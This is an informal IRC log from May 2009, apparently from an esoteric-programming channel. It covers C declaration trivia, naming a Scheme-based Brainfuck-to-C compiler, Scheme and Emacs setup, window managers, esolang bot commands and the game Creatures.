22:01:23 with /**/ it is easy 22:01:47 If you use only integers. 22:01:52 main(){a,b,c;} is legal C. 22:02:02 return? 22:02:12 return(x); is legal. 22:02:14 Not legal C99 though. 22:02:19 Deewiant, what? 22:02:27 return(x) isn't legal C99? 22:02:31 a,b,c; 22:02:34 no, main() isn't legal C99 22:02:38 a,b,c; is legal C99 22:02:40 true 22:02:49 hm 22:02:50 ais523: Other way around. 22:02:51 and falling off main is defined in C99 to have an implied return 0 22:03:00 Deewiant: main() isn't, int main() is 22:03:06 C99 removed implicit int 22:03:12 ais523: GCC, at least, accepts main(). 22:03:18 But not {a,b,c;} 22:03:18 a,b,c is illegal if a,b,c aren't defined higher up the file, though 22:03:31 I didn't say it was valid C99. 22:03:34 100% valid C89. 22:03:35 but I was just looking at the one line 22:03:39 And idiomatic K&R C. 22:03:42 any way you can do it with other vars than int? 22:03:50 yes, you can define function pointer vars 22:03:53 Oh, also pointers. 22:03:56 pikhq: GCC doesn't accept those declarations, FWIW. 22:03:57 hm true 22:04:01 but apart from that 22:04:04 yes 22:04:04 you're right, those would probably be more useful than function pointers 22:04:11 pikhq: At global scope, but not at function scope. 22:04:15 Deewiant: Hmm. Oh, right. It does for global vars, I think. 22:04:16 you could do arithmetic on NULL+integer 22:04:21 And as parameters, of course. 22:04:24 int*a; would be valid right? 22:04:30 it would be undefined, but would mostly work in practice 22:04:30 Yep. 22:04:32 Perfectly. 22:04:34 and yes, int*a is valid 22:04:36 And that works, of course. 22:04:45 int*a=malloc(sizeof(int)); 22:04:46 although you'd probably want to use char* 22:04:47 And use that :-P 22:04:55 ooh, good point 22:04:58 you can use *a, not just a 22:04:58 ... God, you could do int*a=malloc(sizeof(int));*a=x;XD 22:05:11 pikhq, *x proably 22:05:12 but how are you going to define malloc? 22:05:24 #include doesn't work 22:05:25 Alternatively, int*a; and then cast it to an integer type all the time 22:05:27 ais523, "apart from standard includes at top" I said 22:05:30 ais523: AnMaster allowed #includes 22:05:32 ais523: #include 22:05:34 oh 22:05:37 ehird, that is valid? 22:05:40 well, you can write void*malloc(size_t); 22:05:41 yes 22:05:43 But even if you don't allow them, you can declare it 22:05:44 without any whitespace 22:05:44 ais523, GCC will just complain about the implicit declaration. 22:05:46 Exactly. 22:05:51 ais523, what about defining size_t then 22:05:52 :P 22:05:57 it is in stddef.h iirc 22:05:57 And yes, you can do the declaration anyways. 22:06:03 AnMaster: oh, good point 22:06:12 you'd have to guess how big a size_t was, and put that type in there instead 22:06:18 in fact, you'd have to hope it was unsigned int 22:06:21 ais523, unsigned long wouldn't work 22:06:23 because the other possible types contain spaces 22:06:31 hm 22:06:45 AnMaster: Yes it would. It's 32-bit on x86_32 and 64-bit on x86_64. 22:06:55 pikhq, the space... 22:06:56 (IIRC) 22:06:56 but 22:07:09 Oh. *Unsigned* long. 22:07:11 XD 22:07:11 size_t tends, in practice, to be as big as a pointer 22:07:12 I think plain long would work if you made sure to only do small allocations 22:07:13 :) 22:07:25 :D 22:07:30 well probably undef 22:07:36 but would work in practise 22:08:00 No structs or typedefs or unions. 22:08:28 pikhq, just use int*structs_a; 22:08:31 int*structs_b; 22:08:33 and so on 22:08:36 for each field 22:08:45 Right. 22:08:45 dudes 22:08:49 yes it would be split over several arrays 22:08:51 just use arrays somehow 22:08:54 instead of malloc 22:08:58 ehird, see above ^ 22:09:00 like int*x={0} 22:09:06 ehird, what 22:09:14 that wouldn't work? 22:09:19 it was an example 22:09:23 ehird: That wouldn't work. 22:09:38 because the array isn't allocated anywhere 22:09:48 it was an example 22:09:48 it was an example 22:09:49 it was an example 22:09:55 um 22:09:57 It was a crap example. 22:09:57 i meant "basic idea, make it work" 22:10:00 what about a working example 22:10:22 since I suspect it can't work, apart from for integer variables in the array in C89 22:11:06 Actually, it just *might* work, so long as that pointer never, ever leaves the function scope. 22:11:18 anyway structs split over several malloced arrays would work fine, it would even be in line with current trends, stream processing stuff and such. Unit stride. Buzz words. 22:11:42 pikhq, I don't think it would compile 22:12:20 AnMaster: A lot of weird shit compiles. 22:12:47 * Sgeo sends 10 ultraviolent norns through the warp 22:13:22 Maybe I should make them unrejectable, for extra fun! 22:14:28 So far, Hinco hasn't rejected any of my norns, as far as I can tell 22:14:36 Ok, Hinco rejected a norn 22:15:03 Hinco? 22:15:09 Some random DS user 22:15:53 Gah, when I send a rejected norn through, it keeps being sent to the user who rejected him 22:17:29 Hm? 22:17:59 time to go home, I think 22:18:00 -!- ais523 has quit (Remote closed the connection). 22:20:11 Sgeo, does this game exist in a single player edition? 22:20:12 * Sgeo vaguly wonders if his norns are causing death around the Warp 22:20:23 AnMaster, well, you don't have to go online >.> 22:20:31 What game is it? 22:20:37 and ehird said it was freeware for linux? hm 22:20:38 link? 22:20:41 Docking Station, part of the Creatures series 22:21:35 brb 22:21:58 http://www.gamewaredevelopment.co.uk/downloads_more.php?id=448_0_8_0_M13 for Linux 22:22:16 You'll need to patch some script with http://sgeo.diagonalfish.net/creatures/ds.diff 22:22:40 naming suggestions (ehird is banned after previous bad suggestion): BF-to-C compiler written in Scheme, will be slightly optimising, but nothing fancy. Previous idea was SFUCK (as a joke on BF and S-Expressions), but I want some SFW name. 22:23:04 SUCK 22:23:16 Deewiant, that sounds like a sexual joke again :P 22:23:31 To me it just sounds like it sucks 22:24:01 What was ehird's suggestion? 22:24:20 Not PFUCK. 22:24:24 Sgeo, something like "thisappwillbehorrible", don't remember exactly 22:24:31 Including the period. 22:24:34 pikhq, and I'm not going for that 22:24:48 "SFW" remember 22:24:59 Bah. 22:25:20 PathBF? BFScale? 22:25:26 Sounds enterprisy! 22:25:35 or OpenBF maybe 22:25:50 hm 22:26:51 BF is short for BlueFang clearly, which is a pun on BlueTooth. Meaning it should be called RedEar? 22:26:59 22:28:06 actually, I'll call it "after", since my other bf-to-c compiler was called "before" 22:30:21 * AnMaster throws a dice for which DVCS to use. 1 = bzr, 2 = darcs, 3 = hg, other values = rethrow. 22:30:25 hm.. 22:30:33 6... rethrow. 22:30:50 -!- nooga has joined. 22:30:51 1 bzr. :) 22:30:56 http://www.youtube.com/watch?v=T41ZRw45obs rotfl 22:31:03 I was worried I would end up with darcs 22:31:58 nooga, tl;dd; 22:32:05 (to lazy, didn't download) 22:32:11 and no flash 22:32:14 so what is it about 22:32:54 AnMaster: "12 months" in estonian sounds like "cock tastes good" in english. 22:32:57 ~fin~ 22:33:07 oh my 22:33:28 I had to ponder that for over 10 minutes when I saw it on reddit, thinking what the hell the point was 22:33:29 "kaksteist kuud" 22:33:39 It helps that it sounds almost the same in Finnish 22:34:12 ehird, to me it didn't sound like the English one. More like kaksties qood 22:34:22 Because you're not English. :P 22:34:25 ehird, true 22:34:37 Yeah, only English can mangle other languages so successfully 22:34:42 haha 22:34:44 At first, I thought they'd been the subject of a prank 22:34:45 as in 22:34:49 the girls didn't know estonian 22:34:53 but had been told that translation or something 22:35:00 it took translating it myself to realise it was pronounciation 22:35:42 I think I'm going to send some superbreeders through 22:36:20 Sgeo, go play SL. And spam that instead. It was less bad. 22:36:32 AnMaster: I prefer the Creatures talk. 22:36:41 Mostly because I've tortured my fair share of norn in my time. 22:36:48 Sgeo, or even better. Go play nethack 22:36:55 that will be interesting 22:37:01 ITT: AnMaster orders people around and tells them what they enjoy 22:37:17 ehird, no, I just find this completely irrelevant to the channel ;P 22:37:26 Like 99% of talk in here. 22:37:28 Sgeo, tell me about PSOX instead! 22:37:38 ehird, only when you are active 22:37:55 No, that's simply false. 22:38:00 I do read the logs, you know. 22:38:23 ehird, statistics please 22:38:29 No thanks 22:38:37 showing the off-topicness 22:39:11 Unfortunately I don't have a strong AI to filter those 22:39:27 ehird, your brain should be quite adequate I hope 22:39:53 * AnMaster tries to remember how to do file IO in scheme! 22:40:04 AnMaster: i'm not going to manually filter logs. 22:40:07 and lern2R5RS. 22:40:13 It's less than 50 pages! 22:40:17 http://schemers.org/Documents/Standards/R5RS/HTML/ 22:40:20 ehird, I know 22:40:24 http://schemers.org/Documents/Standards/R5RS/HTML/r5rs-Z-H-9.html#%_sec_6.6 22:40:25 I just didn't remember how 22:40:27 library procedure: (call-with-input-file string proc) 22:40:28 library procedure: (call-with-output-file string proc) 22:40:29 and 22:40:39 and 22:40:40 optional procedure: (with-input-from-file string thunk) 22:40:40 optional procedure: (with-output-to-file string thunk) 22:40:42 so 22:40:42 ... 22:40:46 that wasn't it 22:40:49 (with-input-from-file "foo" (lambda (s) (display s))) 22:40:50 is cat 22:40:54 ehird, yes 22:41:22 ehird, no it isn't, cat is "concatenate", meaning the point of cat is that it takes several files. 22:41:24 ;P 22:41:33 AnMaster: Read esolang wiki. 22:41:36 anyway mzscheme/drscheme 22:41:39 what do you think about it 22:41:40 Our official definition of cat is copying input to output. 22:41:49 Also, they're acceptable. 22:41:52 ehird, I'm using the POSIX definition 22:41:57 They deviate a bit too much from R5RS for my tastes. 22:41:59 ehird, do you find any other implementation better? 22:42:02 AHAHAHAHA 22:42:04 If you use the R5RS language, it's better. 22:42:16 AnMaster: it depends. There is a gigantic variety, and none are perfect. 22:42:33 This person must have left the door open.. they sent me my norns back in such a way that I can, without modifying anything, force them to accept it 22:42:38 ehird, of course none is perfect. But which one is best. 22:42:51 And it seems mzscheme defaults to R6RS. 22:43:02 Well, slap it then and tell it to use R5RS. 22:43:27 AnMaster: The best is probably Chez Scheme, but it's proprietary and $$$. (Chez Scheme Lite is freeware). Gambit is fast, Gauche has a lot of non-R5RS scripting-related tools. Guile is shit. MIT/GNU Scheme is *VERY* R5RS-compliant, but supports little else. (I'd prefer it if you're just writing R5RS). 22:43:48 Scheme 48 is quite popular and R5RS-compliant, iirc. I have used it a bit and it is quite nice. 22:43:57 hm 22:43:58 http://s48.org/ 22:44:03 Probably a good bet. 22:44:07 "(I'd prefer it if you're just writing R5RS)." <-- why do you care? 22:44:20 AnMaster: I mean, I'd prefer that implementation if I'm just writing R5RS 22:44:26 That's what that usage means 22:44:39 OTOH, I do recommend writing R5RS :-P 22:45:09 afk 22:45:14 ehird's recommended Scheme development environment: Scheme 48 (http://s48.org/) + Emacs + quack.el (http://www.neilvandyke.org/quack/) 22:45:16 and a copy of R5RS. 22:45:29 quack.el is invaluable; just remember to set its fontify style to 'emacs in your .emacs 22:45:45 and the implementation executable nam 22:45:45 e 22:46:29 AnMaster: If you just want to develop something Real Quick(TM), DrScheme (the "IDE") in R5RS mode + a copy of the standard works too. 22:46:36 hm 22:46:54 ehird, atm I just want to get a basic such compiler working 22:47:13 -!- Gracenotes has quit ("Leaving"). 22:47:14 Well, if you want something I'd recommend for R5RS work, install Scheme 48. Your package manager has it. 22:47:21 (that's not even a conditional. It has it :-P) 22:47:36 It's been under development since 1987, IIRC. 22:47:39 and I dislike the indention style used in DrScheme :( 22:47:41 It's a bytecode compiler/interpreter 22:47:44 AnMaster: Use Quack. Srsly. 22:47:51 Although it uses much the same style. 22:47:51 ehird, hm ok 22:47:58 The indentation of Scheme code is a subtle art. It takes getting used to. 22:48:02 But it pays off. 22:48:03 * AnMaster emerges app-emacs/quack 22:48:06 Ah: 22:48:07 The name ‘Scheme 48’ commemorates our having written the original version in forty-eight hours, on August 6th and 7th, 1986. 22:48:13 AnMaster: and scheme48 :-P 22:48:33 ehird, is 1.8 last version of that? 22:48:41 yes 22:48:50 well, it's over a year old, but it is the latest version 22:49:09 0.30 of quack? 22:49:22 0.35, but it doesn't matter. 22:49:25 mhm 22:49:32 AnMaster: Note: s48's REPL doesn't do command line editing. Use rlwrap or better, interact via Quack. 22:49:48 * AnMaster files a post-it note to the edge of his monitor to file a bug about the quack package being outdated 22:50:19 AnMaster: Note: s48's REPL doesn't do command line editing. Use rlwrap or better, interact via Quack. <-- guile had a VERY good line editing REPL, with highlighting of matching () too 22:50:20 ;P 22:50:23 * AnMaster runs 22:50:33 (require 'quack) 22:50:33 (setq quack-fontify-style 'emacs) 22:50:34 (setq quack-default-program "scheme48") 22:50:36 (setq quack-run-scheme-always-prompts-p nil) 22:50:38 AnMaster: ↑ how to set up quack in .emacs 22:50:46 what does the last one do 22:50:49 and Guile doesn't even get continuations right! 22:50:55 AnMaster: Doesn't ask you what scheme impl you want to start every single time. 22:51:07 Anyway, after doing that, open a .scm and type C-c C-l 22:51:12 the window will split into your file and a REPL. 22:51:30 From there... well... M-x quack- and see what it can do :-P 22:51:32 ehird, C-c C-l? :/ 22:51:37 I have that bound to other things 22:51:37 AnMaster: aka "load-file" 22:51:41 hmm 22:51:48 not going to change! 22:51:55 AnMaster: All Lisp modes use it. 22:52:15 ehird, um no? I tried the elisp mode just now 22:52:27 The elisp mode isn't much of a mode. 22:52:31 Since it works nothing like most Lisps. 22:52:48 true 22:53:16 checked in default scheme mode toop 22:53:17 too* 22:53:21 hmm 22:53:25 maybe I misremember 22:53:31 just ask emacs what quack-load-file or whatever is bound to 22:53:38 quack isn't installed yet 22:53:43 when you do so. 22:53:51 The nice thing about emacs/quack is that printf-debugging becomes really hard: you have to switch to a terminal, get the command to do it, and run it. 22:53:58 Whereas trying in the repl is just a few keys. 22:54:33 ehird, which is worst: Guile or R6RS? 22:54:48 They're both awful in entirely different ways. 22:54:58 ok 22:55:07 They can be both as terribly awful as each other and live separate, peaceful lives of hate and rage. 22:55:30 someone should implement R6RS in guile 22:55:33 just to annoy you 22:55:51 They shall die. 22:56:07 ehird, you have contacts in the maffia? 22:56:19 No. I have contacts in the maffffffffffffffffffffffffffffia though. 22:56:26 ehird, what 22:56:30 IDGI 22:56:52 "maffia" 22:56:58 yes? 22:57:03 isn't that the spelling in Englush 22:57:06 English* 22:57:37 oh it isn't 22:57:43 ehird, it is two f in Swedish 22:57:46 easy mistake to make 22:58:09 We are being targeted by the mafffffffffffffffffffffffff(3 minutes of f)fffia. 22:59:02 I can't even imagine how you thought that would be a joke. It can't be anything else though 22:59:40 It is not a joke as such. It is just an amusing image. 23:00:54 ehird, image? 23:00:58 it is a line of text 23:01:06 Mental. Image. 23:01:13 oh. those. 23:03:01 POINTLESS PROJECT IDEA #4564: watercool a 386. 23:03:38 POINTLESS PROJECT IDEA #4563: make a 386 that needs watercooling. 23:03:44 :D 23:03:47 That would be some terrible 386. 23:03:53 um 23:04:02 what about massive SMP with 386 23:04:07 like 23:04:08 386 386s 23:04:10 :-) 23:04:11 a cluster of them 23:04:12 No, it would be a 386 with some incredible clock speeds. 23:04:23 A cluster of three hundred and eighty-six 386s. 23:04:25 ehird, no no. at least a thousand of them 23:04:29 Running at 386MHz each. 23:04:33 A 386 at 3GHz would probably need some ridiculous cooling. 23:04:33 ;) 23:04:39 3.86GHz. 23:04:47 386 386s @ 3.86GHz 23:04:58 wait 23:05:01 that wouldn't work 23:05:07 Whyever not? 23:05:11 where would you fit the 387 co-processors 23:05:14 there would be no space left 23:05:15 -!- jix has quit ("Lost terminal"). 23:05:17 Hammerspace. 23:05:38 You'd have 387 of them. 23:05:46 ehird, heuristics detected popular culture reference. Not found in database. 23:05:49 http://tvtropes.org/pmwiki/pmwiki.php/Main/Hammerspace 23:05:54 no 23:05:56 (MWAHAHA!) 23:06:00 I'm not clicking tvtroupe links 23:06:04 I'm just not 23:06:06 AnMaster: curl http://tvtropes.org/pmwiki/pmwiki.php/Main/Hammerspace | w3m -dump 23:06:10 | $EDITOR 23:06:12 problem solved 23:06:15 ehird, um? 23:06:21 w3m -dump erases links :-) 23:06:27 err, not -dump 23:06:28 lynx -dump 23:06:32 oh, wait 23:06:33 no 23:06:35 w3m -dump 23:06:37 but you need to do 23:06:39 w3m -dump /dev/stdin 23:06:40 I think 23:06:57 AnMaster: curl http://tvtropes.org/pmwiki/pmwiki.php/Main/Hammerspace>x&& w3m -dump x|$EDITOR 23:07:07 er 23:07:09 that doesn't work either 23:07:10 that displays html just 23:07:11 you get the idea 23:07:13 ... 23:07:20 ohh 23:07:21 here 23:07:26 AnMaster: w3m -dump http://tvtropes.org/pmwiki/pmwiki.php/Main/Hammerspace|$EDITOR 23:07:50 ehird, tried it? 23:07:53 yep. 23:07:57 since that is hilariously bad 23:08:03 no it's not 23:08:07 everything in a thin column at the middle 23:08:07 ... 23:08:09 the text column is just a little small 23:08:13 it's still perfectly readable 23:08:20 AnMaster: M-q 23:08:24 or whatever the emacs command is to reformat 23:08:33 lynx -dump is more readable 23:08:34 and 23:08:36 I'm using less 23:08:56 Do whatever :P 23:09:14 ehird, define:whatever in this context 23:09:25 whatever=anything you want, except less enthusiastic 23:10:18 I wonder how quiet modern watercooled systems are. 23:11:07 "In April 2008, Cray and Intel announced they would collaborate on future supercomputer systems. The first product from this collaboration, the Cray CX1, was launched in September the same year. This is a blade server system, comprising up to 16 dual- or quad-core Intel Xeon processors, with either Microsoft Windows HPC Server 2008 or Red Hat Enterprise Linux installed. " 23:11:11 THAT's a super-computer? 23:11:22 32 cores of a regular server processor. Woop de doo. 23:12:41 pikhq: share in my outraeg. 23:12:43 That's two of our silly all-the-money build. 23:12:44 *outrage 23:12:51 ;) 23:12:57 also, that's cuz we weren't optimizing for processors :P 23:13:04 Right. 23:13:04 but seriously, it only costs $10k too 23:13:08 i checked 23:13:12 ridiculous 23:13:15 Still, we had 8 chips in the damn thing. 23:13:21 it's just a high end number-cruncher 23:13:50 A supercomputer is more than 4U. 23:13:51 :p 23:14:16 I mean, jeeze. That's 16 freaking *blades*. 23:14:32 That's a single blade chassis! 23:14:36 sheesh, this supercomputer thing is crap 23:14:43 it's just a bunch of regular Xeon machines stuck together 23:14:46 Sure, it's pricy stuff, but a supercomputer? 23:15:02 That's a low-to-midrange cluster, I guess... 23:15:19 Why wouldn't AnHammer want to click Tv Trope links? 23:15:22 Too addictive? 23:15:24 AnHammer. 23:15:37 AnMaster: /nick plz 23:15:46 ehird, ? 23:15:53 23:15 Sgeo: Why wouldn't AnHammer want to click Tv Trope links? 23:15:54 23:15 ehird: AnHammer. 23:16:19 ehird, not going to change to that nick. And you can take it if you want. I don't care. 23:16:26 :-P 23:16:28 just going to confuse tab completion for everyone else 23:16:29 Grouchy! 23:16:35 define:Grouchy 23:17:03 ... 23:17:05 Too addictive? <-- help help I'm held prisoner in a wiki about tv troupes 23:17:05 SRSLY? 23:17:10 ehird, yes 23:17:14 Wooooooooow. 23:19:05 kakteists kood 23:19:41 ehird, tell me what it means then 23:19:47 Look it up. 23:19:49 :P 23:20:02 crabbed: annoyed and irritable 23:20:02 wordnet.princeton.edu/perl/webwn 23:20:02 wassup? 23:20:03 ok 23:20:24 ehird, why would it be odd not to know it? 23:20:36 for a non-native 23:20:37 It's like the most commenest word ever :P 23:20:41 *commonest 23:20:50 ehird, um. I think "a" or possibly "an" is in English 23:20:55 <_< 23:20:56 "the" is also very common 23:21:03 so is "and" iirc 23:21:16 I don't have a word frequency table for English handly 23:21:19 handy* 23:21:20 atm 23:23:13 -!- oerjan has joined. 23:25:16 no 23:25:25 funny thing 23:25:56 polish 'no' = english 'yep' 23:26:35 -!- BeholdMyGlory has quit (Remote closed the connection). 23:33:26 I think we should start making other languages look bad. Brainfuck has too long been the standard for "this language is as readable as X!" 23:33:36 We must create new horrific things to make mainstream languages look bad :-) 23:33:56 As it just so happens, Brainfuck is a poor language for such comparisons. 23:34:07 Brainfuck is relatively legible. 23:35:33 malbolge, on the other hand. 23:36:05 Yeah... 23:36:11 Appropriate name. 23:37:18 whitespace is kind of hard to read, too, without a syntax highlighter... 23:46:20 Asztal: how goes your bef int? 23:46:41 haven't touched it in months :) 23:47:10 I'm quite happy to be avoiding C++, really 23:47:13 Asztal: I wasn't asking about your mother 23:47:19 dammit why did you have to get that line in 23:51:48 I always get it in 23:53:07 lawk 23:53:09 lawl 23:56:38 http://en.wikipedia.org/wiki/Glide_API anyone remember this 23:56:48 -!- bsmntbombdood has joined. 23:56:48 goddamn, Voodoo cards. 23:56:52 those things sucked :) 23:56:53 hi bsmntbombdood 23:56:59 http://sgeo.diagonalfish.net/screenshots/nornfest.PNG 23:57:20 hi 23:57:28 bsmntbombdood: those components arrived? 23:57:39 lol no 23:58:00 wednesday 23:58:22 Just killed them all 23:58:29 bsmntbombdood: what OS you sticking on it? 23:58:31 Hahaha at the gravestones rolling across the screen 23:58:52 dunno yet 23:59:07 bsmntbombdood: I'd go for a linux distro due to the lvm ssd shit 23:59:26 meh, not worth it 23:59:34 bsmntbombdood: sure it is 23:59:38 http://sgeo.diagonalfish.net/screenshots/nornfest_dead.PNG 23:59:59 bsmntbombdood: compared to the fragmented table that the SSD will do instead... 2009-05-11: 00:02:28 -!- nooga has quit (Read error: 104 (Connection reset by peer)). 00:10:32 -!- FireFly has quit ("Later"). 00:12:55 arggh this internet connection is horrible 00:13:12 what is it 00:13:25 some shit rural dsl 00:13:48 what speed 00:14:22 advertised at 1.5 mbits down 00:14:28 i get less than that usually though 00:15:05 i've never understood having an expensive computer with shit internet :) 00:15:13 you can buy mac pros with stylish apple 56k modems :p 00:17:11 I'm on a pentium 3 on 20Mbps down cable, currently 00:17:45 Asztal: owwww 00:17:47 kill yourself 00:17:51 Wait. 00:17:56 Asztal: Don't you run Windows? 00:18:03 98? :-P 00:18:16 Pentium 3s are interesting, they were cartridges 00:18:20 -!- Tarap has joined. 00:18:23 Not flat squares 00:18:50 well 00:18:51 I'm borrowing a laptop while my replacement motherboard arrives 00:18:55 it's on XP! 00:18:58 Katmais at least 00:19:02 Asztal: P3 on XP? 00:19:04 Ouuch. 00:19:13 597MHz, 192MB of RAM 00:19:19 X_X 00:19:27 bullshit 00:19:39 wat 00:19:56 Asztal, I've got a similar system. 00:19:56 It's my router. 00:20:01 also it has only one USB port without the dock 00:20:11 ehird: It's easy to understand shit Internet with expensive computer. 00:20:19 We're in the US. 00:20:20 i used to have a computer with 192 mb of ram, the only thing that made it bearable was running a custom kernel and fluxbox 00:20:22 Internet is shit here. 00:20:31 bsmntbombdood: maybe you do crazy computation all the time :P 00:20:32 and my external USB hard drive causes the USB port to stop working until I power off the laptop :) 00:20:42 also fluxbox isn't lightweight 00:20:48 yes it is 00:20:59 [or was, i haven't looked at it forever] 00:21:07 bsmntbombdood: http://incise.org/not-so-tiny-window-managers.html 00:21:09 no it's not :) 00:21:21 You're thinking of a different WM. 00:21:27 nope 00:21:33 there's a virtual machine installed on this too, but I'm scared to run it 00:23:09 Uh, what units are those cited binary sizes in? 00:23:31 Bytes 00:23:33 I assume bytes. 00:23:35 fluxboxed used like 4 times less ram than anything else i used 00:23:55 s/xed/x/ 00:23:59 bsmntbombdood: It's more minimalist than metacity. It is NOT minimalist absolutely. 00:24:22 In a total overview, it doesn't come up anywhere near the top for minimalism 00:24:25 well metacity is massive 00:24:36 bsmntbombdood: at the time that article was made: 00:24:39 metacity 49787 loc 00:24:39 That's less than a megabyte of binary. 00:24:44 fluxbox 20601 loc 00:24:47 bsmntbombdood: yeah, so massive. 00:24:53 getting rid of all the desktop enviroment was a huge savings though 00:25:02 no one uses metacity without gnome 00:25:02 pikhq: it's an old article, and 00:25:03 a personal comment 00:25:03 Fluxbox is a 566 kilobyte binary. 00:25:03 This page is not to be taken too seriously. 00:25:08 That is light-weight. 00:25:11 but the LOC counts are accurate. 00:25:20 and come on. 00:25:25 Let's define OS X's WM as "bloated". 00:25:30 OMG! METACITY IS SUPER-MINIMALIST! 00:25:46 OS X's WM? Bloated? 00:25:49 Objectively rated, fluxbox ain't one of the more minimal WMs... 00:25:56 pikhq: in implementation? fuck yes! 00:26:12 It's a windowing system, not just a window manager. 00:26:17 Hard to compare. 00:26:25 I am referring to the SystemUIServer. 00:26:29 Which does not include the Dock, etc 00:26:37 anyone know a utility I can abuse to pick a specific-numbered line from a file? 00:26:43 coppro: head and tail 00:26:47 coppro: tail +N | head -1 00:26:48 -!- Tarap has left (?). 00:26:52 thank you 00:26:55 pikhq: I was just pointing out that if you pick a starting point, anything can be minimalist. 00:27:00 BTW, my window manager is a 148 byte binary. 00:27:06 Erm. 00:27:09 148 kilobyte. 00:27:11 Jeeze. 00:27:17 148 bytes is cooler 00:27:31 Ratpoison is 148 kilobytes? That seems larger than is necessarry. 00:27:45 Though it *does* include a REPL. 00:28:16 ratpoison is can't do crap though 00:28:19 (IIRC, the Ratpoison devs have started working on Stumpwm since Ratpoison was approaching a Lisp) 00:28:30 bsmntbombdood: It manages windows. 00:28:31 Yeah... ratpoison should have gone the OTHER direction! 00:28:36 It doesn't need a repl at all 00:28:38 Which is just what it needs to do. 00:28:40 pikhq: poorly 00:28:48 Bull. 00:28:50 agreed with bsmntbombdood on ratpoison's shittiness 00:29:03 but I'm an anti-tilist 00:29:17 and anti-anti-mousist :P 00:29:36 ...that does not compute 00:29:43 You're in the infamous Reality Distortion Field. 00:29:47 I like mice, bsmntbombdood. 00:29:53 oops, i misread 00:30:03 pikhq: I have thought exactly these thoughts since before I got this mac. 00:30:15 I hold no special attachment to Apple other than liking the UI of OS X. 00:30:18 (To a degree.) 00:30:29 http://www.nongnu.org/ratpoison/inspiration.html ← this is where ratpoison comes from. I think it sums it up very accurately. 00:30:39 Well, in that case, you just need to use the command-line more. 00:30:47 I do, pikhq. 00:31:11 How many windows do you have open aside from terminals? 00:31:46 ps aux|grep -c bash 00:31:48 142 00:31:49 :( 00:32:04 pikhq: browser windows (My tabbing/windowing distinction is complex and weird.), IM client (a) contact list (b) conversation window, this IRC window. 00:32:11 Yes, I use the graphical environment for things it is suited for. 00:32:19 I use the terminal for things it is suited for. 00:32:51 * pikhq has a web browser open. 00:32:52 Just because I don't subscribe to a philosophy of a terminal's-galore-all-the-terminals-you-can-eat-buffet-just-$1,000 orgy doesn't mean I don't appreciate them. 00:33:17 My IRC client is also my IM client, and it's on screen 0. 00:33:20 pikhq: you're running an IRC client based on one of those cute things that badly emulate a graphical environment by using VT-100 codes, aren't you? 00:33:32 that's cute. it really is. 00:33:36 hf 00:33:39 It doesn't emulate a graphical environment. 00:33:50 pikhq: what are you using>? 00:33:57 bsmntbombdood: Irssi, what else? 00:34:04 for im? 00:34:04 Well, maybe RawIRC. 00:34:06 :p 00:34:12 do you use one of those proxies? 00:34:12 Bitlbee for IM. 00:34:19 Which is a proxy. 00:34:31 bitlbee is awful 00:34:39 No, it's not. 00:34:44 I ended up contorting my IM conversational style to fit the ugly pseudo-IRC-channel emulation 00:34:44 It does a simple job and does it well. 00:34:57 bitlbee is a nice idea, but I don't like how it's implemented 00:34:57 My step-mother told me that I have to write her a meaningful and sincere Mother's Day card, and that she'd bust up my computer if I didn't. 00:34:59 meh, i use gaim and xchat 00:35:24 Sgeo: Might I interest you in small claims court? 00:35:25 Sgeo: sounds like you have family issues. 00:35:30 gtfo of there :-P 00:35:48 judy judy pwns small claims court 00:35:49 pikhq, I think it's only a threat, but still 00:35:55 bsmntbombdood: Judy^2. 00:36:20 s/y/ge/ 00:36:23 Sgeo: I like the concept of writing something sincere that is your true feelings under a threat. 00:36:30 It's so bizarrely illogical. 00:37:03 Wait, she only asked for meaningful and sincere. 00:37:10 She didn't ask for a favorable impression of her. 00:37:15 Mwahaha. 00:46:00 ^ul (y)(ge)((Jud)S( )*S)a:^^ 00:46:01 Jud((Jud)S( )*S) 00:46:06 what the heck 00:46:26 ^ul (y)(ge)((Jud)S( )*S):^^ 00:46:27 Jud(Jud)S( )*S ...bad insn! 00:46:30 !ul (y)(ge)((Jud)S( )*S)a:^^ 00:46:49 ^ul (y)(ge)((Jud)S( )*S):^ 00:46:49 Jud(Jud)S( )*S 00:47:01 !help 00:47:01 Supported commands: addinterp bf_txtgen daemon daemons delinterp fyb help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 00:47:02 oh right 00:47:09 ^ul (y)(ge)((Jud)S( )*S):*^ 00:47:09 Judge Judy 00:47:27 -!- WangZeDong has joined. 00:47:46 Fungot's not here. 00:48:38 !unlambda 9y)(ge)((Jud)S( )*S):*^ 00:48:39 ./interps/unlambda/unlambda.bin: file /tmp/input.8529: parse error 00:48:43 !unlambda (y)(ge)((Jud)S( )*S):*^ 00:48:44 ./interps/unlambda/unlambda.bin: file /tmp/input.8565: parse error 00:48:59 !underload (y)(ge)((Jud)S( )*S):*^ 00:49:10 now what 00:49:35 !help 00:49:35 Supported commands: addinterp bf_txtgen daemon daemons delinterp fyb help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 00:49:40 !underload (y)(ge)((Jud)S( )*S):*^ 00:49:41 Judge Judy 00:49:48 strange 00:56:46 pikhq 00:56:47 fungot is here. 00:56:50 00:47 oerjan: ^ul (y)(ge)((Jud)S( )*S):*^ 00:56:50 00:47 fungot: Judge Judy 00:56:52 you just have him ignored 00:57:05 (I know this from when you mistakenly left your irssi config open on my box :-P) 00:57:22 LMAO 00:57:31 !unlambda `.y```sii`. `.e`.g```sii`d`.d`.u`.Ji 00:57:31 Judge Judy 00:57:34 /unignore fungot 00:57:35 pikhq: and it is eta. f)) 00:57:46 pikhq: my brain is like a sponge for useless trivia :^) 00:59:46 -!- Slereah has quit (Read error: 110 (Connection timed out)). 01:01:12 !slashes /./Jud/.ge .y 01:01:13 Judge Judy 01:01:58 02:01 DCC CHAT from EgoBot [64.62.173.65 port 10052] 01:02:09 Yesh. 01:02:13 how does that work? 01:02:24 /dcc chat 01:02:45 oerjan: I changed it to use DCC chat for remaining data so that it doesn't get kicked off. 01:02:47 Direct 